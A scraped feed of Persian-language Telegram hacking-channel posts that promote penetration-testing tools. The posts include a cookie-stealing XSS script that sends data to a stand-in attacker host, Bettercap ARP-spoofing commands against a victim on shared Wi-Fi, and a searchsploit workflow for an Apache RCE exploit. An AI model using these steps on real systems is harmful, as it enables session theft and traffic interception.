13157
@durov Этот пост ни в коем случае не аморален. Этот канал является фан-каналом, и мы не публикуем какой-либо аморальный #telegram_Rules #Правила_телеграма
☑️ راهنمایهای فوقالعاده برای تست نفوذ
🔺مجموعهای از راهنمایها و چکلیستها که برای امنیت و تست نفوذ مفید هستند. این لیست شامل مجموعهای بزرگ از منابع مرتب و انتخابشده است که به شما کمک میکند تا زمان زیادی را صرفهجویی کنید.
⬅️ مشاهده کنید اینجا
t.me/Hack4ManЧитать полностью…
🔐 پیادهسازی کامل کلاینت I2P به زبان C++
📌؛I2P (پروتکل اینترنت نامرئی) یک لایه شبکه همهمنظوره و ناشناس است.
🔺تمام ارتباطات از طریق I2P ناشناس بوده و با رمزنگاری سرتاسری محافظت میشوند؛ کاربران، آدرسهای IP واقعی خود را فاش نمیکنند.
🔗 لینک F-Droid
t.me/Hack4ManЧитать полностью…
✅ ؛Reaver — ابزاری برای حدس زدن کد WPS با روش جستجوی کامل
💢 ؛Reaver یک ابزار برای هک کردن شبکههای بیسیم است.
🔺این ابزار با انجام یک حمله مستقیم به کد WPS (Wi-Fi Protected Setup)، سعی در بازیابی رمز عبور WPA/WPA2 دارد.
🔺به طور متوسط، این ابزار میتواند رمز عبور را از روترهای آسیبپذیر در طی 4 تا 10 ساعت، بسته به نوع دستگاه، قدرت سیگنال و خود کد WPS، بازیابی کند.
🐙 لینک گیتهاب
t.me/Hack4ManЧитать полностью…
💻 ؛Tmpmail — سرویس ایمیل موقت
🔺ایمیل موقت، سرویسی است که به کاربر یک آدرس ایمیل در وبسایت خود برای مدت معینی ارائه میدهد.
🔺؛Tmpmail یک ابزار خط فرمان است که با زبان POSIX sh نوشته شده و به شما امکان میدهد یک آدرس ایمیل موقت ایجاد کنید و ایمیلها را در آن آدرس موقت دریافت کنید.
⭕️ این مخزن از API 1secmail برای دریافت ایمیلها استفاده میکند.
❌ توجه داشته باشید، از این اسکریپت در ترموکس نمی تونید استفاده کنید، در محیط های لینوکس واقعی، نه شبیه ساز ها.
🌐 لینک به GitHub
t.me/Hack4ManЧитать полностью…
🔍 چگونه یک وبسایت اصلی را از یک تقلبی تشخیص دهیم و از وارد کردن رمز عبور به کلاهبرداران جلوگیری کنیم
شما یک لینک دریافت میکنید: сбер-онлайн.xyz یا g00gle.com. به نظر میرسد مشابه است، اما چیزی درست نیست. کلاهبرداران ظاهر وبسایتهای معروف را کپی میکنند، یک حرف در آدرس را تغییر میدهند و شما ناخواسته رمز عبور خود را در یک صفحه تقلبی وارد میکنید. به یاد داشته باشید. یک کلیک اشتباه میتواند منجر به از دست دادن حساب کاربری، پول و آرامش شما شود. در اینجا نحوه بررسی لینکها بدون ریسک آورده شده است.
لینک فیشینگ چیست؟
این یک آدرس است که خود را به عنوان یک آدرس واقعی جا میزند. به عنوان مثال:
- g00gle.com به جای google.com
- vk.com.secure-login.ru به جای vk.com
- сбер-банк.онлайн (دامنه نامعتبر)
هدف این است که شما را وادار به وارد کردن نام کاربری و رمز عبور در یک صفحه تقلبی کنند.
🛡 بررسی گام به گام لینک
1. روی لینک قرار دهید (در رایانه)
فقط موس را روی لینک ببرید - آدرس واقعی در پایین مرورگر ظاهر میشود. اگر یک دامنه عجیب و غریب مشاهده کردید، روی آن کلیک نکنید.
2. لینک را نگه دارید (در تلفن)
نگه داشتن طولانی مدت روی لینک در پیامرسان یا مرورگر، آدرس کامل آن را نشان میدهد. اگر مجموعهای بیمعنی از کاراکترها یا یک دامنه مشکوک مشاهده میکنید، وارد آن نشوید.
3. لینک کوتاه را باز کنید
لینکهایی مانند bit.ly/2x3kF آدرس نهایی را پنهان میکنند. از سرویسهای رمزگشایی استفاده کنید:
- Unshorten.it (آنلاین)
4. از طریق VirusTotal بررسی کنید
لینک را کپی کنید و در VirusTotal جایگذاری کنید. این وبسایت آن را با دهها آنتیویروس بررسی میکند و نشان میدهد که آیا در پایگاه داده منابع کلاهبرداری ثبت شده است یا خیر.
5. از طریق urlscan.io بررسی کنید
لینک را ارسال کنید. این سرویس به طور خودکار وبسایت را در یک محیط ایزوله باز میکند، یک اسکرینشات میگیرد، ریدایرکتها و درخواستهای شبکه را نشان میدهد. شما میبینید که لینک به کجا منتهی میشود، بدون اینکه خودتان آن را باز کنید.
اگر قبلاً روی لینک کلیک کردهاید چه باید کرد
1. هیچ داده ای وارد نکنید. تب را ببندید.
2. اگر رمز عبور را وارد کردهاید، فورا رمز عبور خود را در وبسایت اصلی تغییر دهید.
3. احراز هویت دو مرحلهای (2FA) را در تمام سرویسهای مهم فعال کنید.
🛡@ir_c_a
⚠️ ؛CamOver | ابزار شناسایی و تست نفوذ دوربینهای IP پذیر
آیا میدانید چقدر از دوربینهای مداربسته در شبکه بدون محافظت هستند؟ CamOver ابزاری تخصصی برای شناسایی و بررسی آسیبپذیریهای دوربینهای IP است. 🛡️🔍
🛠️ قابلیتهای اصلی:
🔹 اسکن هوشمند: شناسایی خودکار مدلهای آسیبپذیر از برندهای معروف (مانند Hikvision، TP-Link، CCTV و غیره).
🔹 بهرهبرداری خودکار: استفاده از آسیبپذیریهای عمومی و اطلاعات کاربری پیشفرض (Default Credentials).
🔹 دسترسی به استریم: توانایی دسترسی به جریان ویدیویی دوربینهای محافظتنشده.
🔹 انعطافپذیری بالا: پشتیبانی از اسکن تکهدف و اسکن گسترده کل زیرشبکه.
👨💻 مناسب برای: متخصصین امنیت، تستکنندههای نفوذ و کارشناسان شبکه.
📂 لینک مخزن در گیتهاب:
🔗 GitHub - CamOver
⚠️ توجه: این ابزار صرفاً جهت مقاصد آموزشی و تست امنیت تهیه شده است. استفاده غیرمجاز مسئولیت بر عهده کاربر است.
#امنیت_شبکه #تست_نفوذ #هک #دوربین_دوربین #سایبر_امنیت #CyberSecurity #EthicalHacking #CamOver #IPCamera
🛡@ir_c_a
🌐؛GeoVista سامانه عاملی استدلال بصری با افزونه وب برای موقعیتیابی دقیق جغرافیایی
🔹️؛GeoVista یک سامانه پیشرفته مبتنی بر عاملهای هوش مصنوعی است که برای تعیین موقعیت جغرافیایی از روی تصاویر (موقعیتیابی جغرافیایی) با استفاده از استراتژیهای استدلال بصری و جستجوی خارجی طراحی شده است.
🔸️این پروژه مسائل پیچیده «جهتیابی بصری» را با تقلید از عملکرد یک کارشناس حل میکند: عامل جزئیات عکس (معماری، تابلوهای راهنمایی، چشمانداز) را تحلیل کرده و از جستجوی وب برای بررسی فرضیات استفاده میکند.
📌لینک گیتهاب
https://github.com/BlackSnufkin/LitterBox
🛡@ir_c_a
💻 ؛XSS — دزدیدن کوکی در یک ثانیه از طریق سایت دیگر
یک آسیبپذیری که ۲۰ سال قدمت دارد، اما هنوز هم هکرها را به پنلهای مدیریت در سراسر جهان راه میدهد.
🎯 ماهیت: هکر در سایت یک فرم یا پارامتری پیدا میکند که <script> را فیلتر نمیکند. کد خود را در آن قرار میدهد. قربانی صفحه را باز میکند — کد اجرا میشود.
مثال دزدیدن کوکی (کوکی جلسه، جایی که رمز عبور به صورت رمزنگاری شده ذخیره شده):
<script>
fetch('http://хакер.ру/steal?cookie=' + document.cookie);
</script>
🛡@ir_c_aЧитать полностью…
🔸یک پراکسی تمام ترافیک را دریافت میکند و آن را بین چندین سرور تقسیم میکند تا بار را متعادل کند.
🔹اما اختلال کلودفلر نشان داد: اگر خود پراکسی خراب شود، اصلاً مهم نیست چند سرور پشت آن دارید. یک پیکربندی نادرست و کل edge عملاً خودش را دچار حمله دیداس کرده است.
#هکینگ #امنیت #اطلاعات
🛡@ir_c_aЧитать полностью…
👾 vt-cli.
سرویس VirusTotal ابزار CLI مخصوص به خودش را دارد. میتوانید لینک را بررسی کنید، فایل را اسکن کنید و اطلاعات مربوط به مقدار هش را دریافت کنید. تنها چیزی که برای استفاده نیاز دارید، کلید API است (که برای همه هنگام ثبتنام در دسترس است). اینجا بیشتر توضیح داده شده است:
➡ https://virustotal.github.io/vt-cli/
🛡@ir_c_aЧитать полностью…
🚀؛ Awesome-Red-Team-Operations شامل فهرست گستردهای از ابزارها، اسکریپتها و منابع مفید برای متخصصان تست نفوذ میباشد.
💻 برای دسترسی به این منابع ارزشمند، به لینک زیر مراجعه کنید:
👉 Awesome-Red-Team-Operations در گیتهاب
#امنیت_سایبری #تست_نفوذ #هک_اخلاقی #ابزارهای_امنیتی #CyberSecurity #RedTeam #آموزش_آنلاین
🛡@ir_c_a
📡 اسنیفینگ در شبکهها: چگونه هکرها ترافیک شما را میخوانند 🔍
بزن بریم! تصور کن: تو در یک کافه هستی و به وایفای باز متصل شدهای. ایمیلهایت را باز میکنی، وارد بانک میشوی. فکر میکنی در امان هستی؟ اما هکری در همان کافه در حال «گوش دادن» به ترافیک تو است و هر چیزی که لازم دارد را برمیدارد. این همان اسنیفینگ است! 🚨
🔑 اسنیفینگ چیست؟
اسنیفینگ به معنای رهگیری ترافیک شبکه است. مثل گذاشتن شنود روی تلفن، فقط به جای صدا، دادهها را میگیرد: رمزهای عبور، کوکیها، توکنهای احراز هویت و غیره.
⚙️ چگونه کار میکند؟
اسنیفینگ زمانی ممکن است که:
• شبکه محافظت نشده باشد (وایفای باز)
• رمزگذاری ضعیف استفاده شود (یا اصلاً نباشد)
• ترافیک از یک کانال عبور کند که برای چند دستگاه قابل دسترسی باشد
🛠️ نمونههایی از اسنیفرها:
• Wireshark: قدرتمندترین اسنیفر با گرافیک و فیلترهای پیشرفته
• tcpdump: ابزار خط فرمان برای کار سریع روی سرورها
• Bettercap: اسنیفینگ + حملات نوع MITM (جایگزینی DNS، گرفتن کوکیها و غیره)
🚨 مثال حمله اسنیفینگ (گام به گام):
1. به همان شبکه وایفای که قربانی متصل است وصل میشویم.
2. برنامه Bettercap یا Wireshark را اجرا میکنیم.
3. آدرس IP قربانی را مشخص میکنیم:
net.probe on
net.show
set arp.spoof.targets <IP-قربانی>
arp.spoof on
net.sniff on
💻 نقشه راه هکرها
🔺آیا آمادهاید تا سفری هیجانانگیز به اعماق امنیت سایبری را آغاز کنید؟ چه به دنبال دریافت یک مدرک معتبر، آماده شدن برای دریافت مدرک لیسانس باشید، یا صرفاً بخواهید کنجکاوی بیپایان خود را برطرف کنید، این نقشه راه، راهنمای ارزشمندی در مسیر تبدیل شدن به یک متخصص واقعی در زمینه هک خواهد بود. اما قبل از اینکه به جزئیات بپردازیم، بیایید اهداف خود را مشخص کنیم. چه چیزی شما را جذب میکند: هیجان، چالش، یا شاید تصور میکنید که در یک شغل پیشرو در زمینه امنیت سایبری فعالیت خواهید داشت؟ انگیزههای شما مسیر پیش رو را تعیین میکنند، بنابراین بیایید مسیری را ترسیم کنیم که دقیقاً با آرزوهای شما مطابقت داشته باشد.
🐙 لینک گیتهاب
t.me/Hack4ManЧитать полностью…
💻 ؛LOLBAS سیستمها و اسکریپتهای باینری
🔺؛Living Off The Land یک پروژهای است که فایلهای باینری، اسکریپتها و کتابخانههای ویندوز را مستند و فهرست میکند که میتوانند برای اهداف جایگزین، اغلب توسط هکرها یا تیمهای قرمز، مورد استفاده قرار گیرند. این پروژه به عنوان یک منبع جامع برای متخصصان امنیت اطلاعات عمل میکند تا درک بهتری از سوء استفاده بالقوه از ابزارهای قانونی ویندوز داشته باشند.
🐙 لینک GitHub
t.me/Hack4ManЧитать полностью…
☑️ نکته کاربردی برای تست نفوذ: یافتن اکسپلویتها در عرض چند ثانیه، بدون نیاز به اینترنت
🔻آیا سرور Apache 2.4.49 یا نسخه قدیمیتر Tomcat را در سرور هدف پیدا کردهاید؟ نیازی نیست در مرورگر بگردید و عبارت "اکسپلویت برای نسخه X" را جستجو کنید. در Kali، ابزار searchsploit وجود دارد که یک پایگاه داده محلی از اکسپلویتها از Exploit-DB است و بدون نیاز به اینترنت کار میکند.
⚙نحوه کارکرد:searchsploit apache 2.4.49
📌این دستور لیستی از تمام اکسپلویتهای مربوط به این نسخه را نمایش میدهد: نام، مسیر فایل، نوع آسیبپذیری.
🔸نمونه خروجی:
Apache 2.4.49 - Path Traversal (CVE-2021-41773) | linux/remote/50383.py
Apache 2.4.49 - Remote Code Execution (CVE-2021-42013) | linux/remote/50406.py
searchsploit apache 2.4.49 --cvesearchsploit apache 2.4.49 -wsearchsploit -m 50383searchsploit -unmap -sV 192.168.1.100 → مشاهده Apache 2.4.49searchsploit apache 2.4.49 → یافتن RCE (اجرای کد از راه دور)searchsploit -m 50406 → کپی کردن اکسپلویتt.me/Hack4ManЧитать полностью…
✅ ؛Macchanger — ابزاری برای دستکاری آدرسهای MAC
🔶؛Macchanger ابزاری است برای مشاهده، تغییر و دستکاری آدرسهای MAC کارتهای شبکهای در سیستمهای لینوکس.
🔷این ابزار عملکردهای مختلفی را ارائه میدهد، مانند تغییر آدرس به گونهای که با یک سازنده خاص مطابقت داشته باشد، یا تصادفیسازی کامل آن.
🌐 لینک به GitHub
t.me/Hack4Man
💡 ترفند: پیدا کردن زیردامنه ها از طریق crt.sh بدون ایجاد سر و صدا
📌نمی خواهید اسکن فعال را آشکار کنید، و بررسی دستی زیردامنه، با یک دستور، تمام گواهینامه های SSL صادر شده برای یک دامنه در دسترس شما خواهد بود. crt.sh حتی زیردامنه هایی را می شناسد که در DNS ثبت نشده اند.
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u
target.com را به جای مثال وارد کنید و پس از چند ثانیه، لیستی از تمام زیردامنه هایی که تا به حال در گواهینامه ها وجود داشته اند را مشاهده خواهید کرد. بدون نصب، بدون تنظیمات، و بدون هیچ ردی در لاگ های هدف.
💻 ؛ShodanX — ابزار پیشرفته برای تعامل با API شادان و انجام OSINT
🔺؛ShodanX یک ابزار خط فرمان قدرتمند است که برای جستجو و جمعآوری مؤثر اطلاعات درباره دستگاههای متصل به اینترنت از طریق پلتفرم شادان طراحی شده است.
🔺؛ShodanX کار با فیلترهای شادان را ساده میکند، از صادرات نتایج پشتیبانی میکند و به سرعت به کشف نقاط ورود احتمالی یا نشت دادهها در شبکه جهانی کمک میکند.
لینک به گیتهاب
🛡@ir_c_a
🔸️؛WEF (چارچوب بهرهبرداری از وایفای) — چارچوبی برای ارزیابی امنیت و حملات به شبکههای وایفای
🔹️؛WEF ابزاری جامع برای خودکارسازی تست نفوذ در شبکههای بیسیم است. امکان انجام طیف گستردهای از حملات را فراهم میکند، از جمله ایجاد «دوقلوهای شرور» (Evil Twin)، بهرهبرداری از آسیبپذیریهای WPS و رهگیری دستدادنهای WPA به صورت خودکار.
🌐 لینک گیتهاب
🛡@ir_c_aЧитать полностью…
💻 ؛LitterBox محیط ایزوله امن برای اجرای کد
🔸️؛LitterBox ابزاری است برای ایجاد محیطی ایزوله جهت اجرای امن کدهای غیرقابل اعتماد یا دلخواه.
🌐 لینک به گیتهاب
🛡@ir_c_aЧитать полностью…
🚀 معرفی ابزار قدرتمند AutoRecon — شناسایی شبکه با سرعت و دقت بالا!
✨؛AutoRecon یک ابزار پیشرفته و چندرشتهای (Multi-threaded) برای شناسایی شبکه (Network Reconnaissance) است که به صورت خودکار سرویسهای فعال را در شبکه شما فهرست میکند.
💻 این ابزار هوشمند، به طور خاص برای صرفهجویی در زمان شما در چالشهای CTF (Capture The Flag) و محیطهای تست نفوذ (Penetration Testing) مانند OSCP طراحی شده است. با قابلیتهای خودکارسازی و سرعت بالا، AutoRecon به شما کمک میکند تا فرآیند شناسایی را به شکل چشمگیری تسریع بخشید و بر روی جنبههای مهمتر تست تمرکز کنید.
🔗 لینک گیتهاب
#AutoRecon #NetworkReconnaissance #PenetrationTesting #CTF #OSCP #CyberSecurity #HackingTools #InfoSec #NetworkScanning
🛡@ir_c_aЧитать полностью…
🚀 ؛MITMproxy: ابزاری برای شنود ترافیک HTTP(S)
🔍؛MITMproxy ابزاری فوقالعاده برای تحلیل و شنود ترافیک شبکه، با امکان شنود ترافیک HTTP/HTTPS!
- ✅ مناسب برای اشکالزدایی وباپلیکیشنها
- 🔒 آزمون امنیت شبکهها و اپلیکیشنها
- 📚 ایدهآل برای آموزش و تحقیقات
🖥️ این ابزار را میتوان در کنسول و مرورگر اجرا کرد و با افزودن گواهینامه، شنود HTTP(S) امکانپذیر است! همچنین از شنود ترافیک اندروید نیز پشتیبانی میکند.
🔗 لینک به GitHub:
https://github.com/mitmproxy/mitmproxy
🛡@ir_c_aЧитать полностью…
📢 مخزن روز: Awesome Pentest 🔍
مخزن روز چیست؟
؛"Awesome Pentest" مجموعهای دقیق از ابزارها، مطالب و راهنماها برای کسانی است که میخواهند در تست نفوذ استاد شوند. 💻✨
داخلش چی هست:
— فریمورکها و اسکریپتهای مفید برای پنتست.
— مطالب آموزشی برای یادگیری تکنیکها و رویکردهای جدید.
— راهنماهایی برای تنظیم ابزارها و استفاده از آنها.
برای چه کسانی؟
— برای مبتدیان تا اصول را بفهمند.
— برای پنتسترهای باتجربه تا ابزارهای مفید جدید را پیدا کنند.
🔗 لینک به GitHub: Awesome Pentest
#AwesomePentest #Pentesting #EthicalHacking #CyberSecurity #InfoSec #Hacking #NetworkSecurity #Learning #GitHub #TechTools #SecurityTesting #PenetrationTesting #CyberDefense
🛡@ir_c_a